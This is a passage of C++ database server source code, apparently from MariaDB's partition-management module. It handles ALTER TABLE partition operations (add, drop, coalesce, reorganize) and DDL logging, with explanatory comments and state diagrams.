if (thd->lex->no_write_to_binlog &&
tab_part_info->part_type != HASH_PARTITION &&
tab_part_info->part_type != VERSIONING_PARTITION)
{
my_error(ER_NO_BINLOG_ERROR, MYF(0));
goto err;
}
if (tab_part_info->defined_max_value &&
(tab_part_info->part_type == RANGE_PARTITION ||
alt_part_info->defined_max_value))
{
my_error((tab_part_info->part_type == RANGE_PARTITION ?
ER_PARTITION_MAXVALUE_ERROR :
ER_PARTITION_DEFAULT_ERROR), MYF(0));
goto err;
}
if (num_new_partitions == 0)
{
my_error(ER_ADD_PARTITION_NO_NEW_PARTITION, MYF(0));
goto err;
}
if (tab_part_info->is_sub_partitioned())
{
if (alt_part_info->num_subparts == 0)
alt_part_info->num_subparts= tab_part_info->num_subparts;
else if (alt_part_info->num_subparts != tab_part_info->num_subparts)
{
my_error(ER_ADD_PARTITION_SUBPART_ERROR, MYF(0));
goto err;
}
check_total_partitions= new_total_partitions*
alt_part_info->num_subparts;
}
if (check_total_partitions > MAX_PARTITIONS)
{
my_error(ER_TOO_MANY_PARTITIONS_ERROR, MYF(0));
goto err;
}
alt_part_info->part_type= tab_part_info->part_type;
alt_part_info->subpart_type= tab_part_info->subpart_type;
if (alt_part_info->set_up_defaults_for_partitioning(thd, table->file, 0,
tab_part_info->num_parts))
{
goto err;
}
/*
Handling of on-line cases:
ADD PARTITION for RANGE/LIST PARTITIONING:
------------------------------------------
For range and list partitions add partition is simply adding a
new empty partition to the table. If the handler support this we
will use the simple method of doing this. The figure below shows
an example of this and the states involved in making this change.
Existing partitions New added partitions
------ ------ ------ ------ | ------ ------
| | | | | | | | | | | | |
| p0 | | p1 | | p2 | | p3 | | | p4 | | p5 |
------ ------ ------ ------ | ------ ------
PART_NORMAL PART_NORMAL PART_NORMAL PART_NORMAL PART_TO_BE_ADDED*2
PART_NORMAL PART_NORMAL PART_NORMAL PART_NORMAL PART_IS_ADDED*2
The first line is the states before adding the new partitions and the
second line is after the new partitions are added. All the partitions are
in the partitions list, no partitions are placed in the temp_partitions
list.
ADD PARTITION for HASH PARTITIONING
-----------------------------------
This little figure tries to show the various partitions involved when
adding two new partitions to a linear hash based partitioned table with
four partitions to start with, which lists are used and the states they
pass through. Adding partitions to a normal hash based is similar except
that it is always all the existing partitions that are reorganised not
only a subset of them.
Existing partitions New added partitions
------ ------ ------ ------ | ------ ------
| | | | | | | | | | | | |
| p0 | | p1 | | p2 | | p3 | | | p4 | | p5 |
------ ------ ------ ------ | ------ ------
PART_CHANGED PART_CHANGED PART_NORMAL PART_NORMAL PART_TO_BE_ADDED
PART_IS_CHANGED*2 PART_NORMAL PART_NORMAL PART_IS_ADDED
PART_NORMAL PART_NORMAL PART_NORMAL PART_NORMAL PART_IS_ADDED
Reorganised existing partitions
------ ------
| | | |
| p0'| | p1'|
------ ------
p0 - p5 will be in the partitions list of partitions.
p0' and p1' will actually not exist as separate objects, there presence can
be deduced from the state of the partition and also the names of those
partitions can be deduced this way.
After adding the partitions and copying the partition data to p0', p1',
p4 and p5 from p0 and p1 the states change to adapt for the new situation
where p0 and p1 is dropped and replaced by p0' and p1' and the new p4 and
p5 are in the table again.
The first line above shows the states of the partitions before we start
adding and copying partitions, the second after completing the adding
and copying and finally the third line after also dropping the partitions
that are reorganised.
*/
if (*fast_alter_table && tab_part_info->part_type == HASH_PARTITION)
{
uint part_no= 0, start_part= 1, start_sec_part= 1;
uint end_part= 0, end_sec_part= 0;
uint upper_2n= tab_part_info->linear_hash_mask + 1;
uint lower_2n= upper_2n >> 1;
bool all_parts= TRUE;
if (tab_part_info->linear_hash_ind && num_new_partitions < upper_2n)
{
/*
An analysis of which parts needs reorganisation shows that it is
divided into two intervals. The first interval is those parts
that are reorganised up until upper_2n - 1. From upper_2n and
onwards it starts again from partition 0 and goes on until
it reaches p(upper_2n - 1). If the last new partition reaches
beyond upper_2n - 1 then the first interval will end with
p(lower_2n - 1) and start with p(num_orig_partitions - lower_2n).
If lower_2n partitions are added then p0 to p(lower_2n - 1) will
be reorganised which means that the two interval becomes one
interval at this point. Thus only when adding less than
lower_2n partitions and going beyond a total of upper_2n we
actually get two intervals.
To exemplify this assume we have 6 partitions to start with and
add 1, 2, 3, 5, 6, 7, 8, 9 partitions.
The first to add after p5 is p6 = 110 in bit numbers. Thus we
can see that 10 = p2 will be partition to reorganise if only one
partition.
If 2 partitions are added we reorganise [p2, p3]. Those two
cases are covered by the second if part below.
If 3 partitions are added we reorganise [p2, p3] U [p0,p0]. This
part is covered by the else part below.
If 5 partitions are added we get [p2,p3] U [p0, p2] = [p0, p3].
This is covered by the first if part where we need the max check
to here use lower_2n - 1.
If 7 partitions are added we get [p2,p3] U [p0, p4] = [p0, p4].
This is covered by the first if part but here we use the first
calculated end_part.
Finally with 9 new partitions we would also reorganise p6 if we
used the method below but we cannot reorganise more partitions
than what we had from the start and thus we simply set all_parts
to TRUE. In this case we don't get into this if-part at all.
*/
all_parts= FALSE;
if (num_new_partitions >= lower_2n)
{
/*
In this case there is only one interval since the two intervals
overlap and this starts from zero to last_part_no - upper_2n
*/
start_part= 0;
end_part= new_total_partitions - (upper_2n + 1);
end_part= max(lower_2n - 1, end_part);
}
else if (new_total_partitions <= upper_2n)
{
/*
Also in this case there is only one interval since we are not
going over a 2**n boundary
*/
start_part= num_orig_partitions - lower_2n;
end_part= start_part + (num_new_partitions - 1);
}
else
{
/* We have two non-overlapping intervals since we are not
passing a 2**n border and we have not at least lower_2n
new parts that would ensure that the intervals become
overlapping.
*/
start_part= num_orig_partitions - lower_2n;
end_part= upper_2n - 1;
start_sec_part= 0;
end_sec_part= new_total_partitions - (upper_2n + 1);
}
}
List_iterator<partition_element> tab_it(tab_part_info->partitions);
part_no= 0;
do
{
partition_element *p_elem= tab_it++;
if (all_parts ||
(part_no >= start_part && part_no <= end_part) ||
(part_no >= start_sec_part && part_no <= end_sec_part))
{
p_elem->part_state= PART_CHANGED;
}
} while (++part_no < num_orig_partitions);
}
/*
Need to concatenate the lists here to make it possible to check the
partition info for correctness using check_partition_info.
For on-line add partition we set the state of this partition to
PART_TO_BE_ADDED to ensure that it is known that it is not yet
usable (becomes usable when partition is created and the switch of
partition configuration is made.
*/
{
partition_element *now_part= NULL;
if (tab_part_info->part_type == VERSIONING_PARTITION)
{
List_iterator<partition_element> it(tab_part_info->partitions);
partition_element *el;
while ((el= it++))
{
if (el->type() == partition_element::CURRENT)
{
it.remove();
now_part= el;
}
}
if (*fast_alter_table && tab_part_info->vers_info->interval.is_set())
{
partition_element *hist_part= tab_part_info->vers_info->hist_part;
if (hist_part->range_value <= thd->query_start())
hist_part->part_state= PART_CHANGED;
}
}
List_iterator<partition_element> alt_it(alt_part_info->partitions);
uint part_count= 0;
do
{
partition_element *part_elem= alt_it++;
if (*fast_alter_table)
part_elem->part_state= PART_TO_BE_ADDED;
if (unlikely(tab_part_info->partitions.push_back(part_elem,
thd->mem_root)))
goto err;
} while (++part_count < num_new_partitions);
tab_part_info->num_parts+= num_new_partitions;
if (tab_part_info->part_type == VERSIONING_PARTITION)
{
DBUG_ASSERT(now_part);
if (unlikely(tab_part_info->partitions.push_back(now_part,
thd->mem_root)))
goto err;
}
}
/*
If we specify partitions explicitly we don't use defaults anymore.
Using ADD PARTITION also means that we don't have the default number
of partitions anymore. We use this code also for Table reorganisations
and here we don't set any default flags to FALSE.
*/
if (!(alter_info->partition_flags & ALTER_PARTITION_TABLE_REORG))
{
if (!alt_part_info->use_default_partitions)
{
DBUG_PRINT("info", ("part_info: %p", tab_part_info));
tab_part_info->use_default_partitions= FALSE;
}
tab_part_info->use_default_num_partitions= FALSE;
tab_part_info->is_auto_partitioned= FALSE;
}
}
else if (alter_info->partition_flags & ALTER_PARTITION_DROP)
{
/*
Drop a partition from a range partition and list partitioning is
always safe and can be made more or less immediate. It is necessary
however to ensure that the partition to be removed is safely removed
and that REPAIR TABLE can remove the partition if for some reason the
command to drop the partition failed in the middle.
*/
uint part_count= 0;
uint num_parts_dropped= alter_info->partition_names.elements;
uint num_parts_found= 0;
List_iterator<partition_element> part_it(tab_part_info->partitions);
tab_part_info->is_auto_partitioned= FALSE;
if (tab_part_info->part_type == VERSIONING_PARTITION)
{
if (num_parts_dropped >= tab_part_info->num_parts - 1)
{
DBUG_ASSERT(table && table->s && table->s->table_name.str);
my_error(ER_VERS_WRONG_PARTS, MYF(0), table->s->table_name.str);
goto err;
}
}
else
{
if (!(tab_part_info->part_type == RANGE_PARTITION ||
tab_part_info->part_type == LIST_PARTITION))
{
my_error(ER_ONLY_ON_RANGE_LIST_PARTITION, MYF(0), "DROP");
goto err;
}
if (num_parts_dropped >= tab_part_info->num_parts)
{
my_error(ER_DROP_LAST_PARTITION, MYF(0));
goto err;
}
}
do
{
partition_element *part_elem= part_it++;
if (is_name_in_list(part_elem->partition_name,
alter_info->partition_names))
{
if (tab_part_info->part_type == VERSIONING_PARTITION)
{
if (part_elem->type() == partition_element::CURRENT)
{
my_error(ER_VERS_WRONG_PARTS, MYF(0), table->s->table_name.str);
goto err;
}
if (tab_part_info->vers_info->interval.is_set())
{
if (num_parts_found < part_count)
{
my_error(ER_VERS_DROP_PARTITION_INTERVAL, MYF(0));
goto err;
}
tab_part_info->vers_info->interval.start=
(my_time_t)part_elem->range_value;
}
}
/*
Set state to indicate that the partition is to be dropped.
*/
num_parts_found++;
part_elem->part_state= PART_TO_BE_DROPPED;
}
} while (++part_count < tab_part_info->num_parts);
if (num_parts_found != num_parts_dropped)
{
my_error(ER_DROP_PARTITION_NON_EXISTENT, MYF(0), "DROP");
goto err;
}
if (table->file->is_fk_defined_on_table_or_index(MAX_KEY))
{
my_error(ER_ROW_IS_REFERENCED, MYF(0));
goto err;
}
tab_part_info->num_parts-= num_parts_dropped;
}
else if (alter_info->partition_flags & ALTER_PARTITION_REBUILD)
{
set_engine_all_partitions(tab_part_info,
tab_part_info->default_engine_type);
if (set_part_state(alter_info, tab_part_info, PART_CHANGED))
{
my_error(ER_DROP_PARTITION_NON_EXISTENT, MYF(0), "REBUILD");
goto err;
}
if (!(*fast_alter_table))
{
table->file->print_error(HA_ERR_WRONG_COMMAND, MYF(0));
goto err;
}
}
else if (alter_info->partition_flags & ALTER_PARTITION_COALESCE)
{
uint num_parts_coalesced= alter_info->num_parts;
uint num_parts_remain= tab_part_info->num_parts - num_parts_coalesced;
List_iterator<partition_element> part_it(tab_part_info->partitions);
if (tab_part_info->part_type != HASH_PARTITION)
{
my_error(ER_COALESCE_ONLY_ON_HASH_PARTITION, MYF(0));
goto err;
}
if (num_parts_coalesced == 0)
{
my_error(ER_COALESCE_PARTITION_NO_PARTITION, MYF(0));
goto err;
}
if (num_parts_coalesced >= tab_part_info->num_parts)
{
my_error(ER_DROP_LAST_PARTITION, MYF(0));
goto err;
}
/*
Online handling:
COALESCE PARTITION:
-------------------
The figure below shows the manner in which partitions are handled when
performing an on-line coalesce partition and which states they go through
at start, after adding and copying partitions and finally after dropping
the partitions to drop. The figure shows an example using four partitions
to start with, using linear hash and coalescing one partition (always the
last partition).
Using linear hash then all remaining partitions will have a new reorganised
part.
Existing partitions Coalesced partition
------ ------ ------ | ------
| | | | | | | | |
| p0 | | p1 | | p2 | | | p3 |
------ ------ ------ | ------
PART_NORMAL PART_CHANGED PART_NORMAL PART_REORGED_DROPPED
PART_NORMAL PART_IS_CHANGED PART_NORMAL PART_TO_BE_DROPPED
PART_NORMAL PART_NORMAL PART_NORMAL PART_IS_DROPPED
Reorganised existing partitions
------
| |
| p1'|
------
p0 - p3 is in the partitions list.
The p1' partition will actually not be in any list it is deduced from the
state of p1.
*/
{
uint part_count= 0, start_part= 1, start_sec_part= 1;
uint end_part= 0, end_sec_part= 0;
bool all_parts= TRUE;
if (*fast_alter_table &&
tab_part_info->linear_hash_ind)
{
uint upper_2n= tab_part_info->linear_hash_mask + 1;
uint lower_2n= upper_2n >> 1;
all_parts= FALSE;
if (num_parts_coalesced >= lower_2n)
{
all_parts= TRUE;
}
else if (num_parts_remain >= lower_2n)
{
end_part= tab_part_info->num_parts - (lower_2n + 1);
start_part= num_parts_remain - lower_2n;
}
else
{
start_part= 0;
end_part= tab_part_info->num_parts - (lower_2n + 1);
end_sec_part= (lower_2n >> 1) - 1;
start_sec_part= end_sec_part - (lower_2n - (num_parts_remain + 1));
}
}
do
{
partition_element *p_elem= part_it++;
if (*fast_alter_table &&
(all_parts ||
(part_count >= start_part && part_count <= end_part) ||
(part_count >= start_sec_part && part_count <= end_sec_part)))
p_elem->part_state= PART_CHANGED;
if (++part_count > num_parts_remain)
{
if (*fast_alter_table)
p_elem->part_state= PART_REORGED_DROPPED;
else
part_it.remove();
}
} while (part_count < tab_part_info->num_parts);
tab_part_info->num_parts= num_parts_remain;
}
if (!(alter_info->partition_flags & ALTER_PARTITION_TABLE_REORG))
{
tab_part_info->use_default_num_partitions= FALSE;
tab_part_info->is_auto_partitioned= FALSE;
}
}
else if (alter_info->partition_flags & ALTER_PARTITION_REORGANIZE)
{
/*
Reorganise partitions takes a number of partitions that are next
to each other (at least for RANGE PARTITIONS) and then uses those
to create a set of new partitions. So data is copied from those
partitions into the new set of partitions. Those new partitions
can have more values in the LIST value specifications or less both
are allowed. The ranges can be different but since they are
changing a set of consecutive partitions they must cover the same
range as those changed from.
This command can be used on RANGE and LIST partitions.
*/
uint num_parts_reorged= alter_info->partition_names.elements;
uint num_parts_new= thd->work_part_info->partitions.elements;
uint check_total_partitions;
tab_part_info->is_auto_partitioned= FALSE;
if (num_parts_reorged > tab_part_info->num_parts)
{
my_error(ER_REORG_PARTITION_NOT_EXIST, MYF(0));
goto err;
}
if (!(tab_part_info->part_type == RANGE_PARTITION ||
tab_part_info->part_type == LIST_PARTITION) &&
(num_parts_new != num_parts_reorged))
{
my_error(ER_REORG_HASH_ONLY_ON_SAME_NO, MYF(0));
goto err;
}
if (tab_part_info->is_sub_partitioned() &&
alt_part_info->num_subparts &&
alt_part_info->num_subparts != tab_part_info->num_subparts)
{
my_error(ER_PARTITION_WRONG_NO_SUBPART_ERROR, MYF(0));
goto err;
}
check_total_partitions= tab_part_info->num_parts + num_parts_new;
check_total_partitions-= num_parts_reorged;
if (check_total_partitions > MAX_PARTITIONS)
{
my_error(ER_TOO_MANY_PARTITIONS_ERROR, MYF(0));
goto err;
}
alt_part_info->part_type= tab_part_info->part_type;
alt_part_info->subpart_type= tab_part_info->subpart_type;
alt_part_info->num_subparts= tab_part_info->num_subparts;
DBUG_ASSERT(!alt_part_info->use_default_partitions);
/* We specified partitions explicitly so don't use defaults anymore. */
tab_part_info->use_default_partitions= FALSE;
if (alt_part_info->set_up_defaults_for_partitioning(thd, table->file, 0,
0))
{
goto err;
}
/*
Online handling:
REORGANIZE PARTITION:
---------------------
The figure exemplifies the handling of partitions, their state changes and
how they are organised. It exemplifies four partitions where two of the
partitions are reorganised (p1 and p2) into two new partitions (p4 and p5).
The reason of this change could be to change range limits, change list
values or for hash partitions simply reorganise the partition which could
also involve moving them to new disks or new node groups (MySQL Cluster).
Existing partitions
------ ------ ------ ------
| | | | | | | |
| p0 | | p1 | | p2 | | p3 |
------ ------ ------ ------
PART_NORMAL PART_TO_BE_REORGED PART_NORMAL
PART_NORMAL PART_TO_BE_DROPPED PART_NORMAL
PART_NORMAL PART_IS_DROPPED PART_NORMAL
Reorganised new partitions (replacing p1 and p2)
------ ------
| | | |
| p4 | | p5 |
------ ------
PART_TO_BE_ADDED
PART_IS_ADDED
PART_IS_ADDED
All unchanged partitions and the new partitions are in the partitions list
in the order they will have when the change is completed. The reorganised
partitions are placed in the temp_partitions list. PART_IS_ADDED is only a
temporary state not written in the frm file. It is used to ensure we write
the generated partition syntax in a correct manner.
*/
{
List_iterator<partition_element> tab_it(tab_part_info->partitions);
uint part_count= 0;
bool found_first= FALSE;
bool found_last= FALSE;
uint drop_count= 0;
do
{
partition_element *part_elem= tab_it++;
is_last_partition_reorged= FALSE;
if (is_name_in_list(part_elem->partition_name,
alter_info->partition_names))
{
is_last_partition_reorged= TRUE;
drop_count++;
if (tab_part_info->column_list)
{
List_iterator<part_elem_value> p(part_elem->list_val_list);
tab_max_elem_val= p++;
}
else
tab_max_range= part_elem->range_value;
if (*fast_alter_table &&
unlikely(tab_part_info->temp_partitions.
push_back(part_elem, thd->mem_root)))
goto err;
if (*fast_alter_table)
part_elem->part_state= PART_TO_BE_REORGED;
if (!found_first)
{
uint alt_part_count= 0;
partition_element *alt_part_elem;
List_iterator<partition_element>
alt_it(alt_part_info->partitions);
found_first= TRUE;
do
{
alt_part_elem= alt_it++;
if (tab_part_info->column_list)
{
List_iterator<part_elem_value> p(alt_part_elem->list_val_list);
alt_max_elem_val= p++;
}
else
alt_max_range= alt_part_elem->range_value;
if (*fast_alter_table)
alt_part_elem->part_state= PART_TO_BE_ADDED;
if (alt_part_count == 0)
tab_it.replace(alt_part_elem);
else
tab_it.after(alt_part_elem);
} while (++alt_part_count < num_parts_new);
}
else if (found_last)
{
my_error(ER_CONSECUTIVE_REORG_PARTITIONS, MYF(0));
goto err;
}
else
tab_it.remove();
}
else
{
if (found_first)
found_last= TRUE;
}
} while (++part_count < tab_part_info->num_parts);
if (drop_count != num_parts_reorged)
{
my_error(ER_DROP_PARTITION_NON_EXISTENT, MYF(0), "REORGANIZE");
goto err;
}
tab_part_info->num_parts= check_total_partitions;
}
}
else
{
DBUG_ASSERT(FALSE);
}
*partition_changed= TRUE;
thd->work_part_info= tab_part_info;
if (alter_info->partition_flags & (ALTER_PARTITION_ADD |
ALTER_PARTITION_REORGANIZE))
{
if (tab_part_info->use_default_subpartitions &&
!alt_part_info->use_default_subpartitions)
{
tab_part_info->use_default_subpartitions= FALSE;
tab_part_info->use_default_num_subpartitions= FALSE;
}
if (tab_part_info->check_partition_info(thd, (handlerton**)NULL,
table->file, 0, alt_part_info))
{
goto err;
}
/*
The check below needs to be performed after check_partition_info
since this function "fixes" the item trees of the new partitions
to reorganize into
*/
if (alter_info->partition_flags == ALTER_PARTITION_REORGANIZE &&
tab_part_info->part_type == RANGE_PARTITION &&
((is_last_partition_reorged &&
(tab_part_info->column_list ?
(partition_info_compare_column_values(
alt_max_elem_val->col_val_array,
tab_max_elem_val->col_val_array) < 0) :
alt_max_range < tab_max_range)) ||
(!is_last_partition_reorged &&
(tab_part_info->column_list ?
(partition_info_compare_column_values(
alt_max_elem_val->col_val_array,
tab_max_elem_val->col_val_array) != 0) :
alt_max_range != tab_max_range))))
{
/*
For range partitioning the total resulting range before and
after the change must be the same except in one case. This is
when the last partition is reorganised, in this case it is
acceptable to increase the total range.
The reason is that it is not allowed to have "holes" in the
middle of the ranges and thus we should not allow to reorganise
to create "holes".
*/
my_error(ER_REORG_OUTSIDE_RANGE, MYF(0));
goto err;
}
}
} // ADD, DROP, COALESCE, REORGANIZE, TABLE_REORG, REBUILD
else
{
/*
When thd->lex->part_info has a reference to a partition_info the
ALTER TABLE contained a definition of a partitioning.
Case I:
If there was a partition before and there is a new one defined.
We use the new partitioning. The new partitioning is already
defined in the correct variable so no work is needed to
accomplish this.
We do however need to update partition_changed to ensure that not
only the frm file is changed in the ALTER TABLE command.
Case IIa:
There was a partitioning before and there is no new one defined.
Also the user has not specified to remove partitioning explicitly.
We use the old partitioning also for the new table. We do this
by assigning the partition_info from the table loaded in
open_table to the partition_info struct used by mysql_create_table
later in this method.
Case IIb:
There was a partitioning before and there is no new one defined.
The user has specified explicitly to remove partitioning
Since the user has specified explicitly to remove partitioning
we override the old partitioning info and create a new table using
the specified engine.
In this case the partition also is changed.
Case III:
There was no partitioning before altering the table, there is
partitioning defined in the altered table. Use the new partitioning.
No work needed since the partitioning info is already in the
correct variable.
In this case we discover one case where the new partitioning is using
the same partition function as the default (PARTITION BY KEY or
PARTITION BY LINEAR KEY with the list of fields equal to the primary
key fields OR PARTITION BY [LINEAR] KEY() for tables without primary
key)
Also here partition has changed and thus a new table must be
created.
Case IV:
There was no partitioning before and no partitioning defined.
Obviously no work needed.
*/
partition_info *tab_part_info= table->part_info;
if (tab_part_info)
{
if (alter_info->partition_flags & ALTER_PARTITION_REMOVE)
{
DBUG_PRINT("info", ("Remove partitioning"));
if (!(create_info->used_fields & HA_CREATE_USED_ENGINE))
{
DBUG_PRINT("info", ("No explicit engine used"));
create_info->db_type= tab_part_info->default_engine_type;
}
DBUG_PRINT("info", ("New engine type: %s",
ha_resolve_storage_engine_name(create_info->db_type)));
thd->work_part_info= NULL;
*partition_changed= TRUE;
}
else if (!thd->work_part_info)
{
/*
Retain partitioning but possibly with a new storage engine
beneath.
Create a copy of TABLE::part_info to be able to modify it freely.
*/
if (!(tab_part_info= tab_part_info->get_clone(thd)))
DBUG_RETURN(TRUE);
thd->work_part_info= tab_part_info;
if (create_info->used_fields & HA_CREATE_USED_ENGINE &&
create_info->db_type != tab_part_info->default_engine_type)
{
/*
Make sure change of engine happens to all partitions.
*/
DBUG_PRINT("info", ("partition changed"));
if (tab_part_info->is_auto_partitioned)
{
/*
If the user originally didn't specify partitioning to be
used we can remove it now.
*/
thd->work_part_info= NULL;
}
else
{
/*
Ensure that all partitions have the proper engine set-up
*/
set_engine_all_partitions(thd->work_part_info,
create_info->db_type);
}
*partition_changed= TRUE;
}
}
}
if (thd->work_part_info)
{
partition_info *part_info= thd->work_part_info;
bool is_native_partitioned= FALSE;
/*
Need to cater for engine types that can handle partition without
using the partition handler.
*/
if (part_info != tab_part_info)
{
if (part_info->fix_parser_data(thd))
{
goto err;
}
/*
Compare the old and new part_info. If only key_algorithm
change is done, don't consider it as changed partitioning (to avoid
rebuild). This is to handle KEY (numeric_cols) partitioned tables
created in 5.1. For more info, see bug#14521864.
*/
if (alter_info->partition_flags != ALTER_PARTITION_INFO ||
!table->part_info ||
alter_info->requested_algorithm !=
Alter_info::ALTER_TABLE_ALGORITHM_INPLACE ||
!table->part_info->has_same_partitioning(part_info))
{
DBUG_PRINT("info", ("partition changed"));
*partition_changed= true;
}
}
/*
Set up partition default_engine_type either from the create_info
or from the previus table
*/
if (create_info->used_fields & HA_CREATE_USED_ENGINE)
part_info->default_engine_type= create_info->db_type;
else
{
if (tab_part_info)
part_info->default_engine_type= tab_part_info->default_engine_type;
else
part_info->default_engine_type= create_info->db_type;
}
DBUG_ASSERT(part_info->default_engine_type &&
part_info->default_engine_type != partition_hton);
if (check_native_partitioned(create_info, &is_native_partitioned,
part_info, thd))
{
goto err;
}
if (!is_native_partitioned)
{
DBUG_ASSERT(create_info->db_type);
create_info->db_type= partition_hton;
}
}
}
DBUG_RETURN(FALSE);
err:
*fast_alter_table= false;
if (saved_part_info)
table->part_info= saved_part_info;
DBUG_RETURN(TRUE);
}
/*
Change partitions, used to implement ALTER TABLE ADD/REORGANIZE/COALESCE
partitions. This method is used to implement both single-phase and multi-
phase implementations of ADD/REORGANIZE/COALESCE partitions.
SYNOPSIS
mysql_change_partitions()
lpt Struct containing parameters
RETURN VALUES
TRUE Failure
FALSE Success
DESCRIPTION
Request handler to add partitions as set in states of the partition
Elements of the lpt parameters used:
create_info Create information used to create partitions
db Database name
table_name Table name
copied Output parameter where number of copied
records are added
deleted Output parameter where number of deleted
records are added
*/
static bool mysql_change_partitions(ALTER_PARTITION_PARAM_TYPE *lpt)
{
char path[FN_REFLEN+1];
int error;
handler *file= lpt->table->file;
THD *thd= lpt->thd;
DBUG_ENTER("mysql_change_partitions");
build_table_filename(path, sizeof(path) - 1, lpt->db.str, lpt->table_name.str, "", 0);
if(mysql_trans_prepare_alter_copy_data(thd))
DBUG_RETURN(TRUE);
/* TODO: test if bulk_insert would increase the performance */
if (unlikely((error= file->ha_change_partitions(lpt->create_info, path,
&lpt->copied,
&lpt->deleted,
lpt->pack_frm_data,
lpt->pack_frm_len))))
{
file->print_error(error, MYF(error != ER_OUTOFMEMORY ? 0 : ME_FATALERROR));
}
if (mysql_trans_commit_alter_copy_data(thd))
error= 1; /* The error has been reported */
DBUG_RETURN(MY_TEST(error));
}
/*
Rename partitions in an ALTER TABLE of partitions
SYNOPSIS
mysql_rename_partitions()
lpt Struct containing parameters
RETURN VALUES
TRUE Failure
FALSE Success
DESCRIPTION
Request handler to rename partitions as set in states of the partition
Parameters used:
db Database name
table_name Table name
*/
static bool mysql_rename_partitions(ALTER_PARTITION_PARAM_TYPE *lpt)
{
char path[FN_REFLEN+1];
int error;
DBUG_ENTER("mysql_rename_partitions");
build_table_filename(path, sizeof(path) - 1, lpt->db.str, lpt->table_name.str, "", 0);
if (unlikely((error= lpt->table->file->ha_rename_partitions(path))))
{
if (error != 1)
lpt->table->file->print_error(error, MYF(0));
DBUG_RETURN(TRUE);
}
DBUG_RETURN(FALSE);
}
/*
Drop partitions in an ALTER TABLE of partitions
SYNOPSIS
mysql_drop_partitions()
lpt Struct containing parameters
RETURN VALUES
TRUE Failure
FALSE Success
DESCRIPTION
Drop the partitions marked with PART_TO_BE_DROPPED state and remove
those partitions from the list.
Parameters used:
table Table object
db Database name
table_name Table name
*/
static bool mysql_drop_partitions(ALTER_PARTITION_PARAM_TYPE *lpt)
{
char path[FN_REFLEN+1];
partition_info *part_info= lpt->table->part_info;
List_iterator<partition_element> part_it(part_info->partitions);
uint i= 0;
uint remove_count= 0;
int error;
DBUG_ENTER("mysql_drop_partitions");
DBUG_ASSERT(lpt->thd->mdl_context.is_lock_owner(MDL_key::TABLE,
lpt->table->s->db.str,
lpt->table->s->table_name.str,
MDL_EXCLUSIVE));
build_table_filename(path, sizeof(path) - 1, lpt->db.str, lpt->table_name.str, "", 0);
if ((error= lpt->table->file->ha_drop_partitions(path)))
{
lpt->table->file->print_error(error, MYF(0));
DBUG_RETURN(TRUE);
}
do
{
partition_element *part_elem= part_it++;
if (part_elem->part_state == PART_IS_DROPPED)
{
part_it.remove();
remove_count++;
}
} while (++i < part_info->num_parts);
part_info->num_parts-= remove_count;
DBUG_RETURN(FALSE);
}
/*
Insert log entry into list
SYNOPSIS
insert_part_info_log_entry_list()
log_entry
RETURN VALUES
NONE
*/
static void insert_part_info_log_entry_list(partition_info *part_info,
DDL_LOG_MEMORY_ENTRY *log_entry)
{
log_entry->next_active_log_entry= part_info->first_log_entry;
part_info->first_log_entry= log_entry;
}
/*
Release all log entries for this partition info struct
SYNOPSIS
release_part_info_log_entries()
first_log_entry First log entry in list to release
RETURN VALUES
NONE
*/
static void release_part_info_log_entries(DDL_LOG_MEMORY_ENTRY *log_entry)
{
DBUG_ENTER("release_part_info_log_entries");
while (log_entry)
{
release_ddl_log_memory_entry(log_entry);
log_entry= log_entry->next_active_log_entry;
}
DBUG_VOID_RETURN;
}
/*
Log an delete/rename frm file
SYNOPSIS
write_log_replace_delete_frm()
lpt Struct for parameters
next_entry Next reference to use in log record
from_path Name to rename from
to_path Name to rename to
replace_flag TRUE if replace, else delete
RETURN VALUES
TRUE Error
FALSE Success
DESCRIPTION
Support routine that writes a replace or delete of an frm file into the
ddl log. It also inserts an entry that keeps track of used space into
the partition info object
*/
static bool write_log_replace_delete_frm(ALTER_PARTITION_PARAM_TYPE *lpt,
uint next_entry,
const char *from_path,
const char *to_path,
bool replace_flag)
{
DDL_LOG_ENTRY ddl_log_entry;
DDL_LOG_MEMORY_ENTRY *log_entry;
DBUG_ENTER("write_log_replace_delete_frm");
if (replace_flag)
ddl_log_entry.action_type= DDL_LOG_REPLACE_ACTION;
else
ddl_log_entry.action_type= DDL_LOG_DELETE_ACTION;
ddl_log_entry.next_entry= next_entry;
ddl_log_entry.handler_name= reg_ext;
ddl_log_entry.name= to_path;
if (replace_flag)
ddl_log_entry.from_name= from_path;
if (write_ddl_log_entry(&ddl_log_entry, &log_entry))
{
DBUG_RETURN(TRUE);
}
insert_part_info_log_entry_list(lpt->part_info, log_entry);
DBUG_RETURN(FALSE);
}
/*
Log final partition changes in change partition
SYNOPSIS
write_log_changed_partitions()
lpt Struct containing parameters
RETURN VALUES
TRUE Error
FALSE Success
DESCRIPTION
This code is used to perform safe ADD PARTITION for HASH partitions
and COALESCE for HASH partitions and REORGANIZE for any type of
partitions.
We prepare entries for all partitions except the reorganised partitions
in REORGANIZE partition, those are handled by
write_log_dropped_partitions. For those partitions that are replaced
special care is needed to ensure that this is performed correctly and
this requires a two-phased approach with this log as a helper for this.
This code is closely intertwined with the code in rename_partitions in
the partition handler.
*/
static bool write_log_changed_partitions(ALTER_PARTITION_PARAM_TYPE *lpt,
uint *next_entry, const char *path)
{
DDL_LOG_ENTRY ddl_log_entry;
partition_info *part_info= lpt->part_info;
DDL_LOG_MEMORY_ENTRY *log_entry;
char tmp_path[FN_REFLEN + 1];
char normal_path[FN_REFLEN + 1];
List_iterator<partition_element> part_it(part_info->partitions);
uint temp_partitions= part_info->temp_partitions.elements;
uint num_elements= part_info->partitions.elements;
uint i= 0;
DBUG_ENTER("write_log_changed_partitions");
do
{
partition_element *part_elem= part_it++;
if (part_elem->part_state == PART_IS_CHANGED ||
(part_elem->part_state == PART_IS_ADDED && temp_partitions))
{
if (part_info->is_sub_partitioned())
{
List_iterator<partition_element> sub_it(part_elem->subpartitions);
uint num_subparts= part_info->num_subparts;
uint j= 0;
do
{
partition_element *sub_elem= sub_it++;
ddl_log_entry.next_entry= *next_entry;
ddl_log_entry.handler_name=
ha_resolve_storage_engine_name(sub_elem->engine_type);
if (create_subpartition_name(tmp_path, sizeof(tmp_path), path,
part_elem->partition_name,
sub_elem->partition_name,
TEMP_PART_NAME) ||
create_subpartition_name(normal_path, sizeof(normal_path), path,
part_elem->partition_name,
sub_elem->partition_name,
NORMAL_PART_NAME))
DBUG_RETURN(TRUE);
ddl_log_entry.name= normal_path;
ddl_log_entry.from_name= tmp_path;
if (part_elem->part_state == PART_IS_CHANGED)
